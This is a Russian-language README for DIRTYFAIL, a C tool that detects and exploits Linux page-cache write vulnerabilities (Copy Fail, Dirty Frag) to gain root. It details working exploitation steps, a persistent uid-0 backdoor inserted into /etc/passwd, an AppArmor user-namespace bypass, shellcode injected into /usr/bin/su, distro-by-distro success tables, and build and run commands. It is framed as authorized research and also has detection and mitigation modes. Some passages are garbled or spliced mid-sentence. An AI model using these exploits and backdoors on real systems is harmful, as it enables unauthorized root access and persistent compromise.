
Детектор + PoC для уязвимостей записи в page-cache Linux: Copy Fail (CVE-2026-31431) и Dirty Frag (CVE-2026-43284/43500). Только для авторизованных исследований безопасности.
Унифицированный детектор и набор PoC для семейств уязвимостей записи в кэш страниц Linux Copy Fail и Dirty Frag.``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝
DIRTYFAIL — это небольшая, хорошо документированная утилита на C для исследователей безопасности.
Она определяет, уязвим ли хост под управлением Linux к трём CVE из этого
семейства, и — после явного подтверждения вводом — запускает реальный
proof-of-concept, который помещает пользователя в рутовую оболочку на
уязвимой системе.
| CVE / вариант | Название | Покрытие DIRTYFAIL |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (запись в page-cache через algif_aead `authencesn`) | Обнаружение + полный PoC |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP запись в page-cache | Обнаружение + полный PoC |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP запись в page-cache (`esp6`) | Обнаружение + полный PoC |
| **CVE-2026-43500** | Dirty Frag — RxRPC запись в page-cache | Обнаружение + полный PoC |
| Copy Fail GCM вариант | xfrm-ESP `rfc4106(gcm(aes))` запись в page-cache | Обнаружение + полный PoC |
**Дополнительные режимы:**
- **`--scan --active`** — sentinel-STORE активные пробы. По умолчанию `--scan`
сообщает о предусловиях для каждого CVE (ядро, модули, состояние LSM), а также
выполняет активную проверку примитива Copy Fail. Добавление `--active` расширяет
проверку sentinel-файла STORE на все четыре остальных примитива (ESP v4,
ESP v6, RxRPC, GCM): каждый запускает триггер ядра против sentinel'а в `/tmp`
и сообщает VULNERABLE только если байты-маркеры действительно записываются.
Это единственный способ отличить ядро с бэкпортированным патчем (предусловия
говорят «уязвимо», но проба показывает «нетронуто») от незапатченного без запуска
полного эксплоита. `/etc/passwd` никогда не затрагивается. Автоматически калибрует
смещение STORE для V6 в зависимости от сборки ядра.
- **`--exploit-backdoor`** — постоянный бэкдор с uid-0: запись с совпадением длины,
заменяющая строку `nologin`/`false`/`sync` в `/etc/passwd` на
`dirtyfail::0:0:<заполнитель>:/:/bin/bash`. Сохраняется после выхода из оболочки,
пока страница не будет вытеснена. Состояние сохраняется в `/var/tmp/.dirtyfail.state`
для `--cleanup-backdoor`. Имя пользователя `dirtyfail` намеренно совпадает с
названием проекта, чтобы его можно было мгновенно опознать в любом аудите —
измените `NEW_USER` в `src/backdoor.c`, если вам нужен другой идентификатор
для авторизованной красной команды.
- **Обход AppArmor** — обходит политику Ubuntu
`apparmor_restrict_unprivileged_userns=1` с помощью одношагового
`change_onexec("crun")` повторного выполнения в неограниченный профиль,
который сохраняет возможности userns. Каждый режим эксплоита обрабатывает это
внутренне через fork: родитель остаётся в пространстве имён init, дочерний
процесс выполняет обход, родитель читает глобальный page-cache и запускает `su`
для получения РЕАЛЬНОГО root в init-ns. Устаревший флаг `--aa-bypass` всё ещё
существует для отладки механики обхода в изоляции. См. [§8.5 Архитектура](#85-architecture-outerinner-fork-based-bypass).
## Проверено на работоспособность
DIRTYFAIL был **эмпирически проверен от начала до конца** на нескольких
дистрибутивах и версиях ядра. Таблица ниже отражает результаты тестов для каждого
режима `--exploit-*` на свежей установке каждого дистрибутива.
| Дистрибутив | Ядро | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Бэкдор | SU shellcode |
|---|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡² | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (не тестировалось) |
| Debian 13.4 | `6.12.86+deb13` | none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (усиленный) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |
**Легенда:** ✅ эксплоит сработал и дал реальный root в init-ns · 🛡 защищено — эксплоит не может достичь ошибки ядра (ядро пропатчено ИЛИ LSM блокирует непривилегированный путь) · ⏭ не применимо (отсутствует предусловие)
### Проверка активной пробы (`--scan --active`)
Флаг `--active` добавляет для каждого CVE sentinel-файл STORE при
обнаружении. Мы проверили результаты проб на тех же 4 дистрибутивах
выше (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — таблица ниже показывает
результат пробы для каждого режима, который полностью соответствует
полноценному эксплоиту один к одному:
| Дистрибутив | Проба Copy Fail | Проба ESP v4 | Проба ESP v6 | Проба RxRPC | Проба GCM |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | нетронут 🛡 | нетронут 🛡 | нетронут 🛡 | нетронут 🛡 | нетронут 🛡 |
| Fedora 44 | маркер @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | изменение байта ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | маркер @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | предусловия ⏭ | sentinel изменён ✅ |
| Ubuntu 26.04 | нетронут 🛡 | заблокирован LSM 🛡 | заблокирован LSM 🛡 | заблокирован LSM 🛡 | заблокирован LSM 🛡 |
Смещение записи STORE в пробе V6 (8 на Fedora и Alma) соответствует
эмпирическому `V6_STORE_SHIFT`, который `calibrate_v6_shift()` обнаруживает
во время выполнения — это подтверждает, что авто-калибровка правильно заменяет
ранее жёстко заданную константу в разных сборках ядра.
¹ GCM и Бэкдор требуют, чтобы `algif_aead` был загружаем. Ubuntu 24.04
поставляется с `/etc/modprobe.d/disable-algif_aead.conf`, который заносит его
в чёрный список как меру защиты от Copy Fail. При удалении чёрного списка
(например, на ядре, предшествующем этой мере защиты), оба режима работают
от начала до конца.
² Путь Copy Fail через algif_aead защищён чёрным списком modprobe;
базовый примитив CVE в ядре тот же, независимо от того, доступен ли
`authencesn`. xfrm-ESP, RxRPC и вариант GCM все попадают на то же ядро,
потому что не используют algif_aead.
³ Пакет `kernel-modules-extra` в AlmaLinux 10 не установлен по умолчанию
на минимальной установке, поэтому `rxrpc.ko` отсутствует на диске.
Установка `kernel-modules-extra-$(uname -r)` из EPEL или репозитория
AlmaLinux extras восстанавливает модуль; на стандартной минимальной
установке RxRPC недоступен.
⁴ **Ubuntu 26.04 LTS всесторонне блокирует непривилегированную эксплуатацию.**
Поставляемое ядро `7.0.0-15.15` (выпущено 2026-04-22) **младше патча
основной ветки `f4c50a4034e6` (слит 2026-05-07) примерно на 2 недели** —
следовательно, ошибка ВСЁ ЕЩЁ присутствует в ядре. Защита Ubuntu —
**глубинная оборона через усиление AppArmor**, а не патч ядра:
- `apparmor_restrict_unprivileged_userns=1` включён по умолчанию.
- При `unshare(CLONE_NEWUSER)` принудительное выполнение AppArmor на уровне ядра
автоматически переводит ЛЮБОЙ профиль (включая помеченные `(unconfined)`
такие как `crun`, `chrome`, стандартный `unconfined`) в
подпрофиль `<profile>//&unprivileged_userns (mixed)`, у которого
есть `audit deny capability`. uid 0 внутри нового userns не получает никаких caps.
- `change_onexec` в другой профиль не помогает — даже профиль `crun` (который имеет явное
разрешение `userns,` и `flags=(unconfined)`) автоматически переходит при unshare.
Проверено через `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
→ `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) успешно записывают uid_map,
но `setresuid(0)` затем выполняется успешно, тогда как `ioctl(SIOCSIFFLAGS)` и
каждый другой системный вызов, требующий CAP_NET_ADMIN, возвращает EPERM, потому что
запрет capability является покаталоговым, а не по-uid.
DIRTYFAIL корректно выполняет свой обход и достигает стадии 2, но не может
получить CAP_NET_ADMIN внутри нового userns. Инфраструктура эксплоита
заблокирована на уровне LSM независимо от метода обхода. Мы протестировали
`change_onexec(crun)`, `change_onexec(chrome)`, `aa-exec -p <profile>` и
прямой `unshare(USER|NET) + newuidmap` — все приводят к одному и тому же
подпрофилю `unprivileged_userns`.
**Это хорошая работа по безопасности от Canonical.** Данный класс ошибок
заблокирован для непривилегированных пользователей без необходимости
пересборки ядра. Последующее стабильное обновление, скорее всего, также
внесёт собственно патч ядра, завершив защиту.
⁵ **`--exploit-su` внедрение shellcode** использует тот же примитив
Copy Fail algif_aead на 4 байта (`cf_4byte_write`). На ядрах, где
Copy Fail пропатчен (Debian 13.4) или заблокирован LSM (Ubuntu 26.04 —
но путь algif_aead также пропатчен в 7.0.0-15), этап внедрения выполняется,
но этап проверки завершается ошибкой ("page cache не соответствует
внедрённому shellcode"), и автоматический откат восстанавливает `/usr/bin/su`.
Проверено от начала до конца на AlmaLinux 10.1 (точка входа при смещении
в файле `0x45b0`) и Fedora 44 (смещение `0x1b60`); парсер ELF обрабатывает
каждый дистрибутив с его PIE-базой независимо. Доказательство реального root
на Fedora 44: `uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.
Воспроизводимость тестов:
- Мы переустановили каждый дистрибутив с чистого ISO, настроили аутентификацию по SSH-ключу + sudo без пароля, клонировали и собрали DIRTYFAIL на каждом, сделали снимок `clean-build` в Parallels, затем запустили все 5 режимов эксплоита с флагом `--no-shell` (авто-откат через fadvise + drop_caches).
- Эмпирические строки результатов получены путём разбора фактического вывода `--exploit-*`, поиска сигналов успеха: `page cache now reports <user> with uid 0`, `root password field is now empty`, `is now uid 0` (бэкдор) или любых шаблонов неудачи (`write did not land`, `byte flip failed`, `setresuid: Invalid`, `add_rxrpc_key: No such device`, `page cache not in expected shape`).
- Для проверки «реального root» через RxRPC и Бэкдор мы выполняли `echo "" | su - root` / `echo "" | su - dirtyfail` и подтверждали `uid=0(root)` плюс успешное чтение `/etc/shadow`.
> **Только для авторизованного тестирования.** Используйте DIRTYFAIL только на системах, которыми вы владеете или для оценки которых у вас есть явный контракт. Режимы эксплоита повреждают `/etc/passwd` *в page-cache ядра* (файл на диске никогда не затрагивается). Очистка: `dirtyfail --cleanup` или
> `echo 3 > /proc/sys/vm/drop_caches`.
---
## Содержание
1. [Класс ошибок](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
- [4.5 Обзор архитектуры](#45-architecture-overview)
5. [Сборка](#5-build)
6. [Использование](#6-usage)
7. [Как DIRTYFAIL обнаруживает каждый CVE](#7-how-dirtyfail-detects-each-cve)
8. [Как DIRTYFAIL эксплуатирует каждый CVE](#8-how-dirtyfail-exploits-each-cve)
- [8.5 Архитектура: внешний/внутренний обход на основе fork](#85-architecture-outerinner-fork-based-bypass)
9. [Меры защиты](#9-mitigations)
10. [Этика и раскрытие](#10-ethics--disclosure)
11. [Благодарности](#11-credits)
**Сопутствующие документы:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/DEFENDERS.md) — руководство для системного администратора: уязвим ли я, как защититься, за чем следить.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/RESEARCH.md) — аудит исходного кода ядра смежных путей (AH, IPCOMP, MACsec, kTLS и т.д.) на предмет того же класса ошибок.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-check.sh) — автономный детектор на bash для системных администраторов (не требует компиляции).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/main/tools/99-dirtyfail.rules) — готовые к загрузке правила auditd для цепочки эксплоита.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-container-escape.sh) — демонстрация радиуса поражения между пространствами имён.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/main/tools/exploit_su_aarch64.S) — исходный код shellcode для aarch64 (ARM64) для `--exploit-su`. Аппаратно не протестирован; поставляется скрытым за флагом `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Перегенерируйте соответствующие байты в `src/exploit_su.c` с помощью `aarch64-linux-gnu-as` для проверки.
---
## 1. Класс ошибок
**Уязвимости записи в page-cache** позволяют непривилегированному
пользователю изменить хранящуюся в ядре копию файла, к которой у него есть
только доступ на чтение. Файл на диске никогда не записывается; изменение
сохраняется в оперативной памяти до тех пор, пока страница не будет вытеснена
(`drop_caches`, нехватка памяти или перезагрузка).
Этот класс начался с **Dirty Pipe** (CVE-2022-0847), который злоупотреблял
флагами `pipe_buffer`. Copy Fail и Dirty Frag — потомки, которые вместо этого
нацелены на член `frag` структуры `struct sk_buff`. Механизм всегда один и
тот же:
1. Пользовательское пространство с помощью `splice()` передаёт страницу
page-cache из читаемого файла (например, `/etc/passwd`, `/usr/bin/su`) во
фрагмент буфера ядра.
2. Путь приёма выполняет криптооперацию **на месте** над этим буфером — одни
и те же страницы являются одновременно источником и получателем операции.
3. Крипто-функция выполняет «случайную» запись STORE за пределами области данных
(перестановка порядкового номера, расшифровка одного блока и т.п.), которая
попадает внутрь страницы, закреплённой пользователем.
4. Копия файла в page-cache теперь постоянно изменена для всех читателей на
хосте, пока страница не будет вытеснена.
Поскольку ошибка является **детерминированным логическим дефектом**, а не
гонкой, уровень успеха практически 100%, и ядро не паникует при неудаче.
---
## 2. CVE-2026-31431 — Copy Fail
* Раскрытие: **2026-04-29**
* Сайт: <https://copy.fail/>
* Оригинальный PoC (C): [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* Оригинальный PoC (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* Внесён коммитом: `72548b093ee3` (2017)
* Исправлен коммитом: `a664bf3d` (основная ветка 6.12 / 6.17 / 6.18 стабильные)
* Подтверждённые уязвимые: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16
### Корневая причина
Модуль ядра `algif_aead` предоставляет крипто-API AEAD пользовательскому
пространству через `AF_ALG`. Шаблон `authencesn(hmac(sha256), cbc(aes))`
реализует RFC-4303 ESN (Расширенные порядковые номера); часть его пути
расшифровки выполняет **запись scratch-данных на 4 байта** для перестановки
порядкового номера:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ★
...
STORE в ★ безвреден для обычного IPsec-пакета — он попадает внутрь области тега skb, которая принадлежит ядру. Крипто-шаблон предполагает, что src и dst указывают на память ядра.
algif_aead нарушает это предположение. Он принимает splice() из пространства пользователя, который помещает страницы кэша страниц в список рассеивания запроса. Поскольку AEAD работает на месте (req->dst = req->src), страница кэша страниц теперь находится на том смещении списка рассеивания назначения, на которое нацелена черновая запись.
Записываемые 4 байта — это байты 4..7 AAD, отправленного пользовательским пространством — поле "seqno_lo" заголовка ESP, которое атакующий заполняет чем угодно.
Сетевой примитив: 4-байтовая запись по произвольному смещению в кэш страниц любого файла, который атакующий может открыть с помощью open(O_RDONLY).
Простейшая эксплуатация — через /etc/passwd. Обычная строка пользователя выглядит так:```
kara❌1000:1000:Kara,,,:/home/kara:/bin/bash
Изменение `1000` (поле UID, ровно 4 байта ASCII для любого UID
от 1000 до 9999) на `0000` заставляет `getpwnam()` в glibc сообщать uid=0 для
этого пользователя. Однако PAM по-прежнему аутентифицируется по дисковому
`/etc/shadow` (который не изменён), поэтому `su <user>` запрашивает
настоящий пароль, проверяет его, затем выполняет `setuid(0)` — и оказывается в root,
потому что копия `/etc/passwd` в page-cache говорит, что мы root.
Целостность `/etc/shadow` сохранена. Дисковый `/etc/passwd` сохранён.
Испорчена только копия `/etc/passwd` в оперативной памяти ядра,
и только до `drop_caches` или перезагрузки.
---
## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)
* Раскрытие: **2026-04-30 → 2026-05-08**
* Оригинальный PoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* Исследователь: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* Внесено коммитом: `cac2661c53f3` (2017-01-17)
* Исправлено коммитом: `f4c50a4034e6` (mainline net.git, слит 2026-05-07)
* Подтверждённые поражённые: Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
CentOS Stream 10, AlmaLinux 10, Fedora 44
### Первопричина
`esp_input()` должен вызывать `skb_cow_data()` перед дешифрованием AEAD на месте,
когда skb нелинейный (т.е. содержит фрагменты). В коде есть
короткое замыкание:```c
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) { // ★ bug
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow;
}
}
Если skb имеет фрагменты, но не имеет frag_list, esp_input обходит
skb_cow_data и передает предоставленный пользователем фрагмент напрямую шаблону
AEAD. Та же самая запись в scratch-буфер authencesn(...), которая реализует Copy
Fail, затем оказывается в файловом смещении (assoclen + cryptlen) склеенной
страницы.
4 байта, записанные STORE, — это seq_hi из состояния replay_esn SA —
контролируемое атакующим при регистрации SA через
атрибут netlink XFRMA_REPLAY_ESN_VAL.
Стоимость: для регистрации XFRM SA требуется CAP_NET_ADMIN, поэтому
атакующий сначала входит в новое пространство имен пользователя через
unshare(CLONE_NEWUSER). По умолчанию это разрешено в большинстве дистрибутивов
(заметным исключением является усиленный профиль Ubuntu).
Важно: этот примитив работает даже при включенной защите Copy Fail
в algif_aead — путь xfrm не проходит через algif_aead.
Защитник, который просто заблокировал algif_aead, все еще уязвим для
Dirty Frag.
Опубликованный PoC от V4bel записывает статичный 192-байтный ELF-файл "root-shell"
поверх первых 192 байт кэша страниц /usr/bin/su, используя 48 последовательных
4-байтовых STORE. После модификации execve("/usr/bin/su") запускает
новую точку входа ELF с сохраненным setuid-root битом, полностью обходит PAM
и выполняет execve("/bin/sh") изнутри шелл-кода.
DIRTYFAIL использует более простой подход с изменением UID в /etc/passwd
(один 4-байтовый STORE — та же цель, что и Copy Fail) по двум причинам:
POSIX_FADV_DONTNEED и не
оставляет /usr/bin/su в поврежденном состоянии для других пользователей
в системе.lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/2dc334f1a63a (2023-06)rxkad_verify_packet_1() выполняет in-place pcbc(fcrypt)
дешифрование одного блока на первых 8 байтах пакета данных RxRPC:```c
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
memset(&iv, 0, sizeof(iv));
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst
ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE
Если страница кэша страниц была вставлена в skb's frag, поверх нее выполняется 8-байтовое дешифрование.
**Отличие от xfrm-ESP**: 8 байтов, которые СОХРАНЯЮТСЯ (STOREd) — это `fcrypt_decrypt(C, K)`, где `C` — это существующий шифротекст по данному смещению файла, а `K` — это сеансовый ключ из токена RxRPC v1, который атакующий зарегистрировал через `add_key("rxrpc", ...)`. Атакующий не контролирует значение STORE напрямую — ему придется перебирать `K`, пока `fcrypt_decrypt(C, K)` не даст желаемый открытый текст.
`fcrypt` — это шифр Andrew File System с **56-битным ключом** и 8-байтовым блоком. Он детерминирован; он чисто портируется в пользовательское пространство; и его ключевое пространство достаточно мало, чтобы ограниченная 8-байтовая цель могла быть перебрана за миллисекунды до секунд в зависимости от бюджета ограничений.
**Критически важно: этот путь НЕ требует привилегий пространства имен** — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` доступны любому непривилегированному пользователю. RxRPC заполняет пробел в профиле hardened-userns в Ubuntu (где xfrm-ESP заблокирован), потому что `rxrpc.ko` поставляется в стандартной сборке Ubuntu.
### Эксплуатация
Полный эксплойт:
1. Перебрать `K_A`, `K_B`, `K_C` в пользовательском пространстве так, чтобы три STORE по смещениям 4, 6, 8 в `/etc/passwd` давали `"::"`, `"0:"`, `"0:GGGGGG:"` соответственно (последняя запись выигрывает).
2. Для каждого `K_i` зарегистрировать токен RxRPC v1 через `add_key`, выполнить поддельное рукопожатие AF_RXRPC с фиктивным UDP-сервером в том же процессе и вызвать `rxkad_verify_packet_1` через splice.
3. Копия строки 1 `/etc/passwd` в кэше страниц теперь `root::0:0:GGGGGG:/root:/bin/bash` — пустое поле пароля.
4. PAM с `pam_unix.so nullok` принимает пустой пароль; `su -` дает root-оболочку.
### Покрытие DIRTYFAIL
DIRTYFAIL поставляет **как** детекцию, так и полный PoC для этой CVE.
Реализация DIRTYFAIL находится в `src/dirtyfrag_rxrpc.c` и `src/fcrypt.c`:
- **шифр fcrypt** (`fcrypt.c`): 56-битный ключ, 8-байтовый блок, 16-раундовая сеть Фейстеля; стандартные S-блоки протокола rxkad. Включает однопоточный инструмент перебора (~18 Mops/s), который ищет ключевое пространство, пока кандидат открытого текста не удовлетворит заданному вызывающим предикату.
- **контрольная сумма rxkad** (`compute_csum_iv`, `compute_cksum`): формула ядра, воспроизведенная через AF_ALG `pcbc(fcrypt)`, чтобы контрольная сумма провода в нашем поддельном DATA-пакете прошла проверку `rxkad_verify_packet`.
- **сборка токена RxRPC v1** (`build_rxrpc_v1_token`): токен rxkad, закодированный в XDR, зарегистрированный через `add_key("rxrpc", ...)` с нашим перебранным сеансовым ключом.
- **клиент AF_RXRPC + фиктивный UDP-сервер**: клиент инициирует вызов, фиктивный сервер извлекает (epoch, cid, callNumber) из первого пакета и отправляет поддельный CHALLENGE, чтобы клиент инициализировал `conn->rxkad.cipher` нашим ключом.
- **триггер splice** (`do_one_trigger`): vmsplice поддельного заголовка DATA → splice 8 байтов из `/etc/passwd` → splice pipe → udp_srv → recvmsg проводит ядро через `rxkad_verify_packet_1` → 8-байтовый STORE.
- **цепочка из 3 splice с коррекцией цепного шифротекста**: перебор K_A / K_B / K_C с применением сдвига цепного шифротекста между проходами (после того как splice A перезаписывает байты 4..11, шифротекст splice B по смещению 6..13 начинается с `P_A[2..7]`; то же самое для C по сравнению с B).
Финальный PoC преобразует строку 1 `/etc/passwd` в:```
root::0:0:GGGGG:/root:/bin/bash
— пустое поле пароля — и execlp("su", "-") затем запускает оболочку с root-правами, потому что pam_unix.so nullok принимает пустой пароль.
Для сравнения и проверки с оригинальным PoC, смотрите exp.c от V4bel: https://github.com/V4bel/dirtyfrag.
DIRTYFAIL — это один бинарный файл на C, собранный из примерно 10 исходных модулей. Общая структура:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘
Per-CVE primitives (each has detect/exploit/exploit_inner functions):
┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘
**Ключевые архитектурные решения:**
- **Разделение внешнего/внутреннего**: каждая эксплойт-программа порождает дочерний процесс для работы с ядром. Родитель остаётся в пространстве имён init, чтобы итоговый вызов `execlp("su", user)` достиг корня реального пространства имён init. См. [§8.5 Архитектура](#85-architecture-outerinner-fork-based-bypass).
- **Кэш страниц глобален**: дочерний процесс записывает из своего обходного пространства имён пользователя, родитель читает из пространства имён init; одни и те же байты видны.
- **Переменные окружения передают состояние от родителя к дочернему процессу**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` и т.д. (backdoor). `execv` сохраняет окружение при переходе между стадиями.
- **Защитный компаньон**: `--mitigate` развёртывает те же чёрные списки + ужесточение sysctl, которые поставляются дистрибутивами в качестве официальных мер защиты. `--scan` обнаруживает, когда capabilities заблокированы LSM, и сообщает "mitigated" вместо вводящего в заблуждение "VULNERABLE preconditions met".
---
## 5. Сборка
### Предварительные требования
* **Linux** (данный бинарный файл работает только под Linux во время выполнения).
* `gcc` или `clang`, `make`.
* Заголовочные файлы UAPI Linux — в частности `<linux/xfrm.h>`, `<linux/netlink.h>`,
`<linux/rtnetlink.h>`, `<linux/if.h>`.
| Дистрибутив | Установка |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu | `sudo apt install build-essential linux-libc-dev` |
| RHEL / CentOS | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora | `sudo dnf install gcc make kernel-headers` |
| Arch | `sudo pacman -S base-devel` |
### Команды сборки```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make # release build → ./dirtyfail
make debug # -O0 -g3 for gdb
make static # static link (musl-gcc recommended)
make clean
Сборка по умолчанию создает один бинарный файл размером ~80 КБ по пути ./dirtyfail.
Для портативной сборки, которая работает в любой совместимой с ядром Linux без дрейфа зависимостей glibc:```sh
make static CC=musl-gcc
(установите `musl-tools` в Debian/Ubuntu или соберите musl из исходников).
---
## 6. Использование
`./dirtyfail --help` является каноническим справочником; режимы разбиты по категориям:
**Обнаружение (безопасно; без изменения системы):**
| Режим | Что делает |
|---|---|
| `--scan` | Запустить все пять детекторов (режим по умолчанию) |
| `--scan --active` | Добавить sentinel-file STORE probe для каждой CVE — различает preconds-met и actually-exploitable |
| `--scan --json` | Вывести один JSON-объект в stdout (совместимо с SIEM); логи выводятся в stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Только обнаружение по каждой CVE |
**Эксплуатация (с подтверждением вводом; повреждает кэш страниц `/etc/passwd`):**
| Режим | Что делает |
|---|---|
| `--exploit-copyfail` | Смена UID через 4-байтовый примитив `algif_aead` |
| `--exploit-esp` | Смена UID через xfrm-ESP v4 (требует userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | Смена UID через xfrm-ESP v6 |
| `--exploit-rxrpc` | Пустое поле пароля root через брутфорс rxkad fcrypt |
| `--exploit-gcm` | Смена UID через однобайтовый примитив `rfc4106(gcm(aes))` |
| `--exploit-backdoor` | ПОСТОЯННЫЙ: вставить `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | Стиль V4bel: внедрить архитектурно-зависимый shellcode в точку входа `/usr/bin/su`. x86_64 протестирован от начала до конца; aarch64 поставляется без аппаратного тестирования (скрыто за `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |
**Очистка / проверка состояния:**
| Режим | Что делает |
|---|---|
| `--cleanup` | Вытеснить `/etc/passwd` из кэша страниц (`fadvise` + `drop_caches`, если root) |
| `--cleanup-backdoor` | Восстановить исходную строку `/etc/passwd` из файла состояния |
| `--cleanup-su` | Восстановить байты точки входа `/usr/bin/su` из файла состояния |
| `--list-state` | Сообщить, что (если что-то) внедрено в данный момент; без побочных эффектов |
**Защита (требуется root):**
| Режим | Что делает |
|---|---|
